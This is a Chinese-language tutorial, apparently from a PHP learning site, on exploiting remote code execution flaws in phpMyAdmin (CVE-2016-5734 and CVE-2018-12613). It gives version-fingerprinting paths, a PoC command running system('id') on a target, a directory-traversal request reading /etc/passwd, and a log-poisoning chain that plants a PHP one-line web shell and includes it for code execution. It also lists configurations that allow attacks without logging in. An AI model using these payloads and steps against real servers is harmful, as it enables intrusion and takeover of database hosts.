phpMyAdmin版本号必须确认,因CVE-2016-5734影响4.6.0–4.6.5及部分4.7.0,CVE-2018-12613仅限4.8.0/4.8.1;可通过/readme.php、/changelog.php等路径获取版本,再结合登录状态与配置项(如AllowArbitraryServer)判断RCE可行性。

确认 phpMyAdmin 版本号是否在已知 RCE 影响范围内
远程代码执行漏洞(如 CVE-2016-5734、CVE-2018-12613)都严格绑定特定版本。不查版本就盲目测试,大概率浪费时间或触发误报。
最稳的方式是直接访问以下路径(需登录前/后尝试):
-
/readme.php—— 通常返回完整版本号和版权信息 -
/changelog.php—— 版本号出现在页面顶部或第一条变更记录 -
/doc/html/index.html—— 静态文档页,底部常有版本标注
若这些路径 404 或被删,可尝试登录后点击右下角「关于」或「phpMyAdmin 信息」链接;部分部署会暴露在 index.php?lang=zh_CN 的响应头中(检查 X-Powered-By 或 Server 头)。
重点盯住这几个高危版本段:
立即学习“PHP免费学习笔记(深入)”;
- CVE-2016-5734:影响
4.6.0至4.6.5(含)、4.7.0(仅部分构建) - CVE-2018-12613:仅限
4.8.0和4.8.1 - WooYun-2016-199433(反序列化):影响
3.x全系列及2.11.x
验证 CVE-2016-5734 是否可利用(需登录 + 可写数据库)
这个漏洞本质是 preg_replace 的 /e 修正符被滥用,触发 SQL 执行时的 PHP 代码注入。它不要求文件读取权限,但依赖一个可写的数据库(如 test)。
操作前确认两点:
- 你已用有效账号(如
root)成功登录 phpMyAdmin - 该账号对某个数据库(比如
test)有CREATE和INSERT权限(可在「用户账户」→「编辑权限」里快速核对)
在「SQL」标签页中执行以下语句(替换 test 为你的可写库名):
SELECT 'payload' INTO OUTFILE '/tmp/poc_test' FROM test WHERE 1=0;
如果报错类似 Can't create/write to file '/tmp/poc_test',说明 secure_file_priv 限制存在,但不代表漏洞不可用——真正的利用走的是 preg_replace + INTO OUTFILE 组合路径,需用 PoC 脚本实测。Kali 自带的 phpmyadmin_5734.py 是最可靠的验证方式,命令形如:
python3 phpmyadmin_5734.py -u root -p root -d test -c "system('id')" http://target/pma/
注意:-d 必须指定一个你有权写入的数据库;若未指定表名,脚本会自动创建 prgpwn 表并写入 payload。
检查 CVE-2018-12613(LFI → RCE 链)是否存活
这个漏洞不是单纯文件读取,而是通过目录穿越+白名单绕过,最终实现任意 PHP 文件包含。它要求已登录,且关键点在于 checkPageValidity() 函数对 target 参数的校验缺陷。
手动验证只需构造一个带 %253f(即 URL 编码后的 ?)和 ../ 的请求:
GET /index.php?target=sql.php%253f/../../../../../etc/passwd HTTP/1.1
如果响应体中出现 root:x:0:0: 类内容,说明 LFI 成功;若返回空白但状态码是 200,可能是目标系统无该文件或路径不对,换 /proc/version 或 /etc/hostname 再试。
真正危险的是能包含日志文件或一句话木马:
- 先确认 Web 日志路径(常见为
/var/log/apache2/access.log或/var/log/nginx/access.log) - 发一个带 PHP 代码的请求到网站任意接口(如
GET /?x=<?php system($_GET[1]);?> HTTP/1.1),让其进日志 - 再用上面的
target参数去包含该日志路径,即可触发 RCE
Windows 环境下注意路径分隔符要用 %5c(即 \ 的编码),且 IIS 日志默认在 C:\inetpub\logs\LogFiles\ 下。
绕过登录直触漏洞的两个隐藏条件
绝大多数资料只提「需登录」,但实际存在两种免认证触发方式,极易被忽略:
- 配置项
$cfg['AllowArbitraryServer'] = true:攻击者可伪造server参数指向恶意 MySQL 实例,配合 SSRF 或 DNS rebinding 实现 RCE - 配置项
$cfg['ServerDefault'] = 0:跳过登录页,直接加载 index.php,此时target参数可被未授权调用
这两个配置不会在前端暴露,只能通过读取配置文件(如 config.inc.php)或利用其他 LFI 漏洞来确认。一旦发现其中任一为 true,整个检测优先级应立刻拉满——这意味着无需爆破口令,漏洞面直接扩大数倍。



















